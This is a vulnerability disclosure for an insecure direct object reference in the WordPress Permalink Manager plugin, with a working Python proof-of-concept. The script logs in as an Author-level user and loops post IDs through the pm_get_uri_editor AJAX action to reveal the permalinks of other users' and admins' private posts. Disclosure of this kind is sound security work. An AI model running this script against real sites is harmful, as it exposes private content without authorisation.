Author: Muhammad Zeeshan (Xib3rR4dAr)
Date: March 10, 2024
Plugin Active Installs: 80,000+
Slug: permalink-manager, permalink-manager-pro
Permalink Manager is a highly rated WordPress permalink editor that allows users to customize post, page, and custom post type URLs.
Permalink manager allows low privileged users with URI Editor permisions to view and edit their own URIs for post, page etc.
An endpoint was found vulnerbale to Insecure Direct Object Reference (IDOR), which can be exploited to view URI of their own posts,pages as well as of other's like URI of Admin's privately published posts,pages.
By default, low privileged users like Author have this permission while Admin can change it to Contributor user also.
Unauthorized users can view permalink of any post/page, including permalink of privately published posts by admin.
- Login as author user and visit following to view permalinks of Post #1, change post_id or itearte to view others.
/wp-admin/admin-ajax.php?action=pm_get_uri_editor&post_id=1
Usage:
python3 unuathorizedPermalinkModifier.py WORDPRESS_URL USERNAME PASSWORD PERMALINK_TO_SET_FOR_POST
e.g
python3 permalink_view_idor.py http://127.0.0.1 author author
import sys
import requests
from bs4 import BeautifulSoup
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
wordpress_url = sys.argv[1]
username = sys.argv[2]
password = sys.argv[3]
proxyDict = {}
# Uncomment to use proxy
proxyDict = {"http": "http://127.0.0.1:9090", "https": "http://127.0.0.1:9090"}
session = requests.Session()
# Login to WordPress
login_url = f"{wordpress_url}/wp-login.php"
login_payload = {
"log": username,
"pwd": password,
"wp-submit": "Log In",
}
login_response = session.post(
login_url, data=login_payload, proxies=proxyDict, verify=False
)
if "wp-admin" in login_response.url:
print("Login successful")
else:
print("Login failed")
exit()
def getPermalinks(html_content):
soup = BeautifulSoup(html_content, 'html.parser')
input_element = soup.find('input', {'name': 'custom_uri'})
if input_element:
data_default_value = input_element.get('data-default', 'No data-default attribute found')
input_value = input_element.get('value', 'No value found')
return data_default_value, input_value
else:
return None, None
# View Permalink of posts from 1-100
admin_ajax_url = f"{wordpress_url}/wp-admin/admin-ajax.php"
malicious_payload = {
"post_id": 1,
"action": "pm_get_uri_editor",
}
for i in range(1, 101):
print(f"Getting permalink for Post #{i}")
malicious_payload["post_id"] = i
ajax_response = session.post(
admin_ajax_url, data=malicious_payload, proxies=proxyDict, verify=False
) # GET can also be used
permalinks = getPermalinks(ajax_response.text)
print(permalinks)
Viewing Admin's private post permalinks:
Before viewing permalink, verify if low privileged users like Author or Contributor are viewing permalink for their own post.